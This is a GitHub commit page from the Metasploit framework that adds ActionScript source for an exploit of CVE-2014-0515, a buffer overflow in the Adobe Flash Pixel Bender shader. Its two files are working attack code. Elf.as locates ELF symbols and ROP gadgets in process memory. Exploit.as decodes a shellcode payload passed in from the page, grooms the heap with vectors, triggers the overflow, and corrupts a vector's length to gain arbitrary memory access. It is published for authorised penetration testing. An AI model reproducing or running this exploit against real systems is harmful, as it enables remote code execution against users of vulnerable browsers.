Skip to content

Commit

Permalink
Land #5524, adobe_flash_pixel_bender_bof in flash renderer
Browse files Browse the repository at this point in the history
  • Loading branch information
wchen-r7 committed Jun 15, 2015
2 parents 77f506c + 72672fc commit 17b8ddc
Show file tree
Hide file tree
Showing 17 changed files with 1,212 additions and 456 deletions.
Binary file removed data/exploits/CVE-2014-0515/Graph.swf
Binary file not shown.
Binary file added data/exploits/CVE-2014-0515/msf.swf
Binary file not shown.
235 changes: 235 additions & 0 deletions external/source/exploits/CVE-2014-0515/Elf.as
Original file line number Diff line number Diff line change
@@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3

private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0

public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}

public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0

for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}

public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""

for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}


public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}

private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}

throw new Error()
}

private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}

private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}

private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}

private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0

for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}

throw new Error()
}

private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0

for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}

throw new Error()
}

private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}

throw new Error()
}

private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}

throw new Error()
}

private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0

for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}

throw new Error()
}
}
}
131 changes: 131 additions & 0 deletions external/source/exploits/CVE-2014-0515/Exploit.as
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
// It uses original code from @hdarwin89 for exploitation using ba's and vectors

package {
import flash.display.Sprite
import flash.utils.ByteArray
import flash.display.Shader
import flash.system.Capabilities
import flash.utils.Endian
import __AS3__.vec.Vector
import __AS3__.vec.*
import flash.display.LoaderInfo
import mx.utils.Base64Decoder

public class Exploit extends Sprite {

protected var Shad:Class
private var uv:Vector.<uint>
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter

public function Exploit(){
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()

var shader:Shader
if (platform == "linux") {
this.Shad = GraphShadLinux
} else {
this.Shad = GraphShadWindows
}

super()
var i:* = 0
var j:* = 0
var offset:int = -1
var corrupted_vector_idx:int = -1

// Memory massage
var array_length:uint = 0x10000
var vector_size:uint = 34
var array:Array = new Array()

i = 0
while (i < array_length)
{
array[i] = new Vector.<uint>(vector_size)
i++;
}

i = 0
while (i < array_length)
{
array[i].length = 0
i++
}

i = 0x0200
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
i = (i + 28)
j++
}

// Overflow and Search for corrupted vector
var shadba:ByteArray = (new this.Shad() as ByteArray)
shadba.position = 0

shader = new Shader()
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e) { }

i = 0
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i
break
}
i++
}

if (corrupted_vector_idx == -1) {
return
}

for(i = 0; i < array[corrupted_vector_idx].length; i++) {
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
array[corrupted_vector_idx][i] = 0xffffffff
offset = i
break
}
}

if (offset == -1) {
return
}


for(i = 0; i < array.length; i++) {
if (array[i].length == 0xffffffff) {
uv = array[i]
uv[0x3ffffffc - offset] = 34
}
}

for(i = 0; i < array.length; i++) {
if (array[i].length != 0xffffffff) {
delete(array[i])
array[i] = null
}
}

exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}

0 comments on commit 17b8ddc

Please sign in to comment.